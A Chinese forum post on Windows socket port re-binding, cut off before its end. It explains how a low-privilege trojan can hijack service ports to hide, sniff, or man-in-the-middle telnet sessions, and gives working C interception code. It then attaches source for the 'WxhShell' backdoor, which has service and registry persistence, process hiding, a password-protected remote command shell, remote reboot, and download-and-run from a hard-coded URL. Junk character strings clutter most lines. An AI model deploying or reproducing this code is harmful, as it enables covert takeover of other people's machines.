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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Xq,UV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P.LuF(?$  
g5tjj.  
  saddr.sin_family = AF_INET; Qe>i{:N  
\LdmGv@ &  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x)ddRq l  
|*tWF! D6`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $hjP}- oUX  
PTbA1.B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :!JpP R5  
_{LN{iqDv  
  这意味着什么?意味着可以进行如下的攻击: k_D4'(V:b  
4<G?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7Wwp )D  
~A`&/U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HzRX$IKB3(  
?Oy'awf_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [=F>#8=  
W.,% 0cZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R^J.?>0  
t&GA6ML#s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hrs#ZZ:E  
q&XCX$N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M.ZEqV+k  
]d@^i)2LF  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4F05(R8k  
mje<d"bW  
  #include jM5_8nS&d  
  #include E rop9T1  
  #include @br@[RpB  
  #include    ?HrK\f3wWO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DtzA$|Q}  
  int main() {$EH@$./  
  { Ps U9R#HL1  
  WORD wVersionRequested; R K"&l!o  
  DWORD ret; ]2Sfkl0  
  WSADATA wsaData; 9=t#5J#O  
  BOOL val; N\9}\Rk@  
  SOCKADDR_IN saddr; 4. 1rJa  
  SOCKADDR_IN scaddr; [YC=d1F5  
  int err; 9$7&URwSDI  
  SOCKET s; &/Eg2  
  SOCKET sc; Lw*;tL<,  
  int caddsize; ]43alf F#  
  HANDLE mt; uYFMv=>j  
  DWORD tid;   %1Bn_  
  wVersionRequested = MAKEWORD( 2, 2 ); C%giv9a  
  err = WSAStartup( wVersionRequested, &wsaData ); wYZT D*A2h  
  if ( err != 0 ) { u~s Sk  
  printf("error!WSAStartup failed!\n"); iO!27y  
  return -1; tIq>Oojdx  
  } "pt+Fe|@c;  
  saddr.sin_family = AF_INET; Dt.0YKF  
   CF]i}xpWV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P DRnW  
T}C2e! _O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7#QLtU  
  saddr.sin_port = htons(23); hf;S]8|F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V,V*30K5  
  { 6}ce1|mkg/  
  printf("error!socket failed!\n"); 41u*w2j  
  return -1; 1hl]W+9  
  } B\\6#  
  val = TRUE; #EJhAJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B?+ .2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J.#(gFBBl\  
  { ]b3/Es+  
  printf("error!setsockopt failed!\n"); ,eR8 ~(`=  
  return -1; C\ tprnY  
  } k!5m@'f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /\ytr%7,'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @.'z* |z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =WC-Sj{I  
&e5(Djz8t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (=1)y'.  
  { l :/&E 6 9  
  ret=GetLastError(); ,Du@2w3Cq  
  printf("error!bind failed!\n"); g%ubvu2t]  
  return -1; Ab/j(xr=  
  } [`d$X^<y;  
  listen(s,2); p8Iw!HE  
  while(1) OFA{ KZga  
  {  3P1&;  
  caddsize = sizeof(scaddr); nSS>\$  
  //接受连接请求 P` #QGZ>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h;-a`@rO ;  
  if(sc!=INVALID_SOCKET) ;x-(kIiE  
  { #?dUv#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f\fdg].!  
  if(mt==NULL) |'tW=  
  { moMYdArj  
  printf("Thread Creat Failed!\n"); L'l F/qe^  
  break; #/|75 4]]  
  } zrs<#8!Y_!  
  } Mi ; glm  
  CloseHandle(mt); Y$g}XN*)E  
  } P.djd$#  
  closesocket(s); +iy7e6P  
  WSACleanup(); $$hv`HE^l  
  return 0; Ur^j$B}  
  }   @9Q2$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'B_\TU0 O  
  { p,F^0OU2}:  
  SOCKET ss = (SOCKET)lpParam; 9IA$z\<<w  
  SOCKET sc; %a];  
  unsigned char buf[4096]; 5!Bktgk.  
  SOCKADDR_IN saddr; $6T3y8  
  long num; n 6{2]&sd  
  DWORD val; MM?`voj~`p  
  DWORD ret; Y>B P?l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,w{m3;]_%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6-B 9na  
  saddr.sin_family = AF_INET; m*Lo|F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #]9hTa IR  
  saddr.sin_port = htons(23); 9AHSs,.t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - hzjV|  
  { +Ng0WS_0  
  printf("error!socket failed!\n"); ahJ1n<  
  return -1; MxOD8TDF4  
  } 2| B[tt1Z  
  val = 100; >E:<E'L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dA_YL?o r  
  { @m~RtC-Q  
  ret = GetLastError(); ?7jg(`Yh  
  return -1; H2;X   
  } HSN8O@dy  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8!mc@$Z  
  { >`'O7.R  
  ret = GetLastError(); e}0:"R%E  
  return -1; >xu [q\:"  
  } O oSb>Y/4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A5fwAB  
  { Ue*C>F   
  printf("error!socket connect failed!\n"); k%P;w1  
  closesocket(sc); fQ 7vL~E  
  closesocket(ss); Q6 ?z_0  
  return -1; @*MC/fe  
  } FB:<zmwR  
  while(1) #z!^ <,  
  { :?Y$bX}a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5\Fz!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {_#yz\j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hXn3,3f3oZ  
  num = recv(ss,buf,4096,0); :jEPu3E:  
  if(num>0) @]HXP_lyD/  
  send(sc,buf,num,0); w!SkWS b,~  
  else if(num==0) U7iuY~L  
  break; I]nHbghcW  
  num = recv(sc,buf,4096,0); w,1Ii}d9  
  if(num>0) }P9Ap3?  
  send(ss,buf,num,0); 1mH%H*#  
  else if(num==0) zf[`~g  
  break; 8FkFM^\1L  
  } a%BeqSZh  
  closesocket(ss); pV(lhDNoQ  
  closesocket(sc); wGsRS[  
  return 0 ; Z5(enTy-  
  } nkDy!"K  
|3hY6aty  
pS[KBQ"F  
========================================================== {/<6v. v  
7=XL!:P  
下边附上一个代码,,WXhSHELL %7hB&[ 5  
c+dg_*^  
========================================================== <#+44>h  
&<pKx!  
#include "stdafx.h" LN2D  
<3okiV=ox  
#include <stdio.h> ^pnG0(9  
#include <string.h> zsXoBD\h  
#include <windows.h> wnLi2k/Dt<  
#include <winsock2.h> m-/j1GZ*  
#include <winsvc.h> 1 " #*)MF  
#include <urlmon.h> *e#<n_%R  
1w(JEqY3h:  
#pragma comment (lib, "Ws2_32.lib") xI*#(!x"G  
#pragma comment (lib, "urlmon.lib") }/P5>F<H[  
B;K`q  
#define MAX_USER   100 // 最大客户端连接数 IJIzXU  
#define BUF_SOCK   200 // sock buffer 8}e,%{q  
#define KEY_BUFF   255 // 输入 buffer ul f2vD  
6t'l(E +  
#define REBOOT     0   // 重启 AJ^#eY5  
#define SHUTDOWN   1   // 关机 &w 8)* T  
6 sxffJt  
#define DEF_PORT   5000 // 监听端口 9@ 16w  
9Z5D\yv?H  
#define REG_LEN     16   // 注册表键长度 5kNzv~4B,;  
#define SVC_LEN     80   // NT服务名长度 SLfFqc+n0  
'CZa3ux  
// 从dll定义API +>~?m*$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NS)}6OI3~"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X[gn+6WB%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &k7;DO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4)>FS'=  
KInk^`C/H  
// wxhshell配置信息 R9rj/Co  
struct WSCFG { jjM\.KL]  
  int ws_port;         // 监听端口 xVL5'y1g B  
  char ws_passstr[REG_LEN]; // 口令 )vg5((C  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mb1t:Xf^g  
  char ws_regname[REG_LEN]; // 注册表键名 YwY74w:  
  char ws_svcname[REG_LEN]; // 服务名 [+m?G4[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l7{oi!   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {gNV[45  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >gwz,{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5}$b0<em~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Vik5)D2D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VQ5nq'{v  
D?yG+%&9  
}; |t iUej  
%1 vsN-O}8  
// default Wxhshell configuration C;QAT  
struct WSCFG wscfg={DEF_PORT, jn >d*9u  
    "xuhuanlingzhe", #rO8Kf  
    1, XdLCbY  
    "Wxhshell", 65h @}9,U  
    "Wxhshell", {U<xdG  
            "WxhShell Service", `U#55k9^5  
    "Wrsky Windows CmdShell Service", Z+j\a5d?,  
    "Please Input Your Password: ", `@[c8j7  
  1, C98]9  
  "http://www.wrsky.com/wxhshell.exe", (/-hu[:  
  "Wxhshell.exe" ae"]\a\&1o  
    }; Ghl'nqPlm  
6 5y+Z  
// 消息定义模块 Y{v(p7pl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hn>B!Bm*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I1oje0$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #_Z$2L"U  
char *msg_ws_ext="\n\rExit."; %>-@K|:gS  
char *msg_ws_end="\n\rQuit."; N>(g?A; Z+  
char *msg_ws_boot="\n\rReboot..."; :ISMPe3'  
char *msg_ws_poff="\n\rShutdown..."; r78TE@d  
char *msg_ws_down="\n\rSave to "; 7XKY]|S,'  
b"!Q2S~  
char *msg_ws_err="\n\rErr!"; "YdEE\  
char *msg_ws_ok="\n\rOK!"; 8:BIbmtt5  
-V,v9h ^  
char ExeFile[MAX_PATH]; Q+b D}emd  
int nUser = 0; +aF}oA&X[  
HANDLE handles[MAX_USER]; ,QzL)W7  
int OsIsNt; 7\*FEjRM]  
wC `+  
SERVICE_STATUS       serviceStatus; >#Q\DsDS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `(A5f71MfM  
lrf v+  
// 函数声明 Y6,Rj:8  
int Install(void); FOq1>>a0  
int Uninstall(void); c wg !j!l  
int DownloadFile(char *sURL, SOCKET wsh); yaq'Lt`  
int Boot(int flag); A)%A!  
void HideProc(void); p.+ho~sC,.  
int GetOsVer(void); bAKiq}xG%i  
int Wxhshell(SOCKET wsl); Ig3;E+*>  
void TalkWithClient(void *cs); Bs?7:kN(  
int CmdShell(SOCKET sock); 1]orUF&_  
int StartFromService(void); N2.AKH  
int StartWxhshell(LPSTR lpCmdLine); :Mm3 gW)  
Y"-^%@|p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k} ]T;|h]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \J+*  
n,B,"\fw  
// 数据结构和表定义 "D?z  
SERVICE_TABLE_ENTRY DispatchTable[] = z]b>VpW:  
{ |t; ~:A  
{wscfg.ws_svcname, NTServiceMain}, *tm0R>?!  
{NULL, NULL} JXyM\}9-X  
}; Qne/g}PD`  
JQ4{` =,b  
// 自我安装 gTA%uRBa  
int Install(void) dnV[ P  
{ b~nAPY6  
  char svExeFile[MAX_PATH]; U|g:`v7  
  HKEY key; 4 C}bJzZ  
  strcpy(svExeFile,ExeFile); +}f9   
LM&y@"wfm  
// 如果是win9x系统,修改注册表设为自启动 ~z"= G5|  
if(!OsIsNt) { @6l%,N<fou  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D#&q&6P{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nLV9<M Zm  
  RegCloseKey(key); y*D]Q`5cag  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oft4- 4$E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sP^R/z|Y  
  RegCloseKey(key); !S&L*OH,  
  return 0; Bz5-ITX   
    } t |~YEQ  
  } o.q/O)'V u  
} :n /@z4#  
else { |&Ym@Jyj  
6252N]*  
// 如果是NT以上系统,安装为系统服务 wn)JXR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~I{n^Q/a  
if (schSCManager!=0) O(+phRwJ  
{ }:Z#}8  
  SC_HANDLE schService = CreateService D@!=d@V.  
  ( wm+/e#'&  
  schSCManager, ?_I[,N?@41  
  wscfg.ws_svcname, EvOJ~'2 Y%  
  wscfg.ws_svcdisp, J!:SPQ  
  SERVICE_ALL_ACCESS, eds26(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #> j.$2G>  
  SERVICE_AUTO_START, XoA+MuDzpo  
  SERVICE_ERROR_NORMAL, ,=l7:n  
  svExeFile, }1>[  
  NULL, 2(/g}  
  NULL, i+gQE!  
  NULL, ezPz<iZ\N  
  NULL, v%fu  
  NULL $V1;la!  
  ); {dmj/6Lc  
  if (schService!=0) uL[.ND2._&  
  { ei rzYt  
  CloseServiceHandle(schService); To?W?s  
  CloseServiceHandle(schSCManager); bT&: fHc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AE} )o)B  
  strcat(svExeFile,wscfg.ws_svcname); /% N r?V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EY \H=@A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;\p KDPr  
  RegCloseKey(key); %'[&U#-  
  return 0; 1 5A*7|  
    } _1U1(^)  
  } n5{Xj:}  
  CloseServiceHandle(schSCManager); Uh][@35 p  
} n_'s=]~  
} =C~/7N,lW]  
b!)<-|IK  
return 1; TC<@e<-%Sq  
} 9'r:~ O  
R9B&dvG  
// 自我卸载 +"1NC\<*  
int Uninstall(void) `3:.??7N  
{ sqW* pi  
  HKEY key; r3>i+i42  
8jyG" %WO  
if(!OsIsNt) { .jj$Kh q]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QR>gt;  
  RegDeleteValue(key,wscfg.ws_regname); U*3uq7  
  RegCloseKey(key); 6H'HxB4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { / z}~zO  
  RegDeleteValue(key,wscfg.ws_regname); 6C-z=s)P&  
  RegCloseKey(key); 8O Soel  
  return 0; JJ%ePgWT  
  } X=> =5'  
} {RF-sqce  
} &B|D;|7H  
else { zD<or&6  
$]8h $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $jg*pmR-  
if (schSCManager!=0) ;INW`b~  
{ AZmb!}m+d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O9r>E3-q  
  if (schService!=0) SCz(5[MZJ  
  { 2Y7)WPn  
  if(DeleteService(schService)!=0) { yR4|S2D3xn  
  CloseServiceHandle(schService); &o<F7U'R  
  CloseServiceHandle(schSCManager); EI^06q4x  
  return 0; 3mOtW%Hl  
  } 3YZs+d.;ib  
  CloseServiceHandle(schService); &-mX ,   
  } SI=yI-  
  CloseServiceHandle(schSCManager); 5Lf{8UxI  
} TYQwy*  
} qkC/\![@  
VH[hsj  
return 1; Qm/u h  
} "70WUx(\t  
G8;w{-{m  
// 从指定url下载文件 S*n@81Z  
int DownloadFile(char *sURL, SOCKET wsh) *f?4   
{ u{*SX k  
  HRESULT hr; R~ZFy0  
char seps[]= "/"; mL4]l(U  
char *token; Kh MSL  
char *file; _N@ro  
char myURL[MAX_PATH]; 2"B_At  
char myFILE[MAX_PATH]; n+PzA[  
0D&t!$Ibf  
strcpy(myURL,sURL); SGe^ogO"v  
  token=strtok(myURL,seps); 3Oi nK['  
  while(token!=NULL) VhNz8)  
  { Iyyh!MVF  
    file=token; EbdfV-E  
  token=strtok(NULL,seps); lg b?)=  
  } 3%E74 mOcD  
(x3.poSt  
GetCurrentDirectory(MAX_PATH,myFILE); pbU!dOU~e  
strcat(myFILE, "\\"); Q*b]_0Rb  
strcat(myFILE, file); w.0qp)}  
  send(wsh,myFILE,strlen(myFILE),0); D)d~3`=#  
send(wsh,"...",3,0); >>5NX"{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;W^o@*i{>  
  if(hr==S_OK) #cCL.p"]  
return 0; u5Ftu?t  
else t8dm)s[r8  
return 1; PoT`}-9  
|P%DkM*X  
} D &/L:  
z5r$M  
// 系统电源模块 TqddOp  
int Boot(int flag) IzpZwx^3''  
{ 8A+SjJ4$  
  HANDLE hToken; GO^_=EMR[  
  TOKEN_PRIVILEGES tkp; G rk@dZI  
:at$HCaK  
  if(OsIsNt) { zNIsf "  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1SR+m>pL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r}jGUe}d  
    tkp.PrivilegeCount = 1; gwWN%Z"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >b]S3[Q(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t>[KVVg W  
if(flag==REBOOT) { (4Zts0O\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /\W Qx e  
  return 0; <0PT"ij  
} ,.qMEMm  
else { r9ww.PpNk#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f?'JAC*  
  return 0; k+DR]icv  
} 'FS?a  
  } :M6+p'`j  
  else { uIDuGrt  
if(flag==REBOOT) { Xt'sQ}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~R@Nd~L  
  return 0; =%> oR  
} NwZ@#D#[ Y  
else { (bh95X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p f_mf.  
  return 0; T.qNCJmB  
} LK@lpkX  
} Jyqc2IH  
|H! 9fZO  
return 1; J|w)&bV  
} _z1(y}u}  
{Pc<u gfl  
// win9x进程隐藏模块 6l4mS~/  
void HideProc(void) ]| +<P-  
{ 91xB9k1zO  
qvv2O1c"A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r{rQu-|.  
  if ( hKernel != NULL ) Uv4`6>Ix  
  { Qx'`PNU9\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y]3>7q%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); al[n, u  
    FreeLibrary(hKernel); 8 P>#l.#  
  } oI#a_/w  
A4]s~Ur  
return; xSBc-u#< G  
} eVM/uDD  
dF~8XYo  
// 获取操作系统版本 >~Qr  
int GetOsVer(void) NZ3/5%We/  
{ +r<0zh,n.  
  OSVERSIONINFO winfo; E]6z8juO6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'gt-s547  
  GetVersionEx(&winfo); I'@Ydt2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q(\4]i< S  
  return 1; IEcf  
  else kWrp1`  
  return 0; e~"fn*"  
} $]q8, N|1  
Bk+{RN(w  
// 客户端句柄模块 <$hu   
int Wxhshell(SOCKET wsl) (k|_J42[  
{ ? mhs$g>  
  SOCKET wsh; p}<w#p |  
  struct sockaddr_in client; ~jb"5CX  
  DWORD myID; q/4 [3h  
YLVPAODY  
  while(nUser<MAX_USER) Y9`5G%  
{ d` [HT``  
  int nSize=sizeof(client); gy;+_'.j   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :Pv*, qHE  
  if(wsh==INVALID_SOCKET) return 1; +d%L\^?F  
]7Z{ 8)T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H`geS  
if(handles[nUser]==0) >|Cw\^  
  closesocket(wsh); R+7oRXsu  
else yZWoN&  
  nUser++; A?@@*$&  
  } WsD M{1c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1NcCy! +  
xrN &N_K#  
  return 0; # (- Qx  
} U5 r7j  
Wy%s1iu  
// 关闭 socket E(i[o?  
void CloseIt(SOCKET wsh) "hQ_sgz[Z  
{ o'$jNciOW  
closesocket(wsh); f +hjC  
nUser--; JXj8Br?Z@  
ExitThread(0); "{D|@Bc  
} h48SItY  
E!O\87[  
// 客户端请求句柄 36n>jS&  
void TalkWithClient(void *cs) !L95^g   
{ h)me\U7UC  
Q(o!iI:Gts  
  SOCKET wsh=(SOCKET)cs; g38&P3/  
  char pwd[SVC_LEN]; ,p9i%i  
  char cmd[KEY_BUFF]; raQ7.7  
char chr[1]; E{2Eoj;gq  
int i,j; +GAf O0  
"rAY.E]  
  while (nUser < MAX_USER) { oY=q4D  
s<]&*e&}?  
if(wscfg.ws_passstr) { -uH#VP{0M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8x[YZ@iM-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $8crN$ye  
  //ZeroMemory(pwd,KEY_BUFF); 0=="^t_  
      i=0; c1xrn4f@a  
  while(i<SVC_LEN) { *;XWLd#  
Y+3!f#exm  
  // 设置超时 $:of=WTY(  
  fd_set FdRead; 8#D:H/`'  
  struct timeval TimeOut; A?*o0I  
  FD_ZERO(&FdRead); ^xZ e2@  
  FD_SET(wsh,&FdRead); $v b,P(  
  TimeOut.tv_sec=8; W@2vjz  
  TimeOut.tv_usec=0; e9E\% p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l)-Mq@V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @K:N,@yq  
1>Q'R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <vUVP\u~$  
  pwd=chr[0]; W8g' lqc|  
  if(chr[0]==0xd || chr[0]==0xa) { h},oF!,  
  pwd=0; p\ Lq}tk<  
  break; {W\T"7H  
  } SAY f'[|w  
  i++; wP/A^Rs  
    } Eaqca{%/^  
?J,AB #+  
  // 如果是非法用户,关闭 socket j.:h5Y^N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x3zj ?-  
} 'r\ V. 4  
S:61vD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |0z;K:5s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Y=+Ls(3o(  
-ti{6:H8  
while(1) { -!({B H-M_  
b5:op@V  
  ZeroMemory(cmd,KEY_BUFF); wl1m*`$  
Yh)Isg|0>  
      // 自动支持客户端 telnet标准   :L 3&FA   
  j=0; sFDG)  
  while(j<KEY_BUFF) { W~Z<1[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1h7+@#<:a  
  cmd[j]=chr[0]; ]/cd;u  
  if(chr[0]==0xa || chr[0]==0xd) { vOgC>_x7  
  cmd[j]=0; *x>3xQq&  
  break; j( #%tIv  
  } ]P[%Mhg^  
  j++; 0ji q-3V)  
    } *XWq?hi  
\VSATL:]  
  // 下载文件 >b.^kc  
  if(strstr(cmd,"http://")) { tM j1~ R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ay{t254/  
  if(DownloadFile(cmd,wsh)) 7P7b8 ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g-vg6@6  
  else KTEZ4K^o=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ggb |Ew  
  } F%rHU5CkV  
  else { 8Q)@  
26n^Dy>}  
    switch(cmd[0]) { UMN*]_'+;b  
  z}Jr^>  
  // 帮助 s4H2/EC  
  case '?': { '!1$9o^$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [/RM=4Nh5  
    break; !q"CV  
  } l\$ +7|W  
  // 安装 ZlKw_Sq:  
  case 'i': { W9zE{)Sc~  
    if(Install()) iK_c.b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5y4u5Tm-%  
    else y/c%+ Ca/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kWj \x|E  
    break; ,572n[-q  
    } X%9*O[6{  
  // 卸载 4F MAz^  
  case 'r': { 6*@yE  
    if(Uninstall()) Vga-@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2yo cu!4l  
    else :1 )DqoAJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O''y>N9  
    break; o0z67(N&g  
    } W2wpcc  
  // 显示 wxhshell 所在路径 /\Q*MLwD  
  case 'p': { =wq;@'U  
    char svExeFile[MAX_PATH]; r(2 R <A  
    strcpy(svExeFile,"\n\r"); 'PWQnt_U  
      strcat(svExeFile,ExeFile); s4T}Bs r  
        send(wsh,svExeFile,strlen(svExeFile),0); =sOo:s  
    break; hF&}lPVtv  
    } P(omfD4  
  // 重启 (!?K7<Jv  
  case 'b': { )yxT+g2!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IJU0[EA]F  
    if(Boot(REBOOT)) `&$B3)Eb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R UTnc  
    else { qI3NkVA'C  
    closesocket(wsh); G6`J1Uk  
    ExitThread(0); V7t!?xOL  
    } gd6Dm4q(  
    break; #NRh\Wj|  
    } dX )W0  
  // 关机 /2NSZO  
  case 'd': { s.jO<{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,7d|O}B  
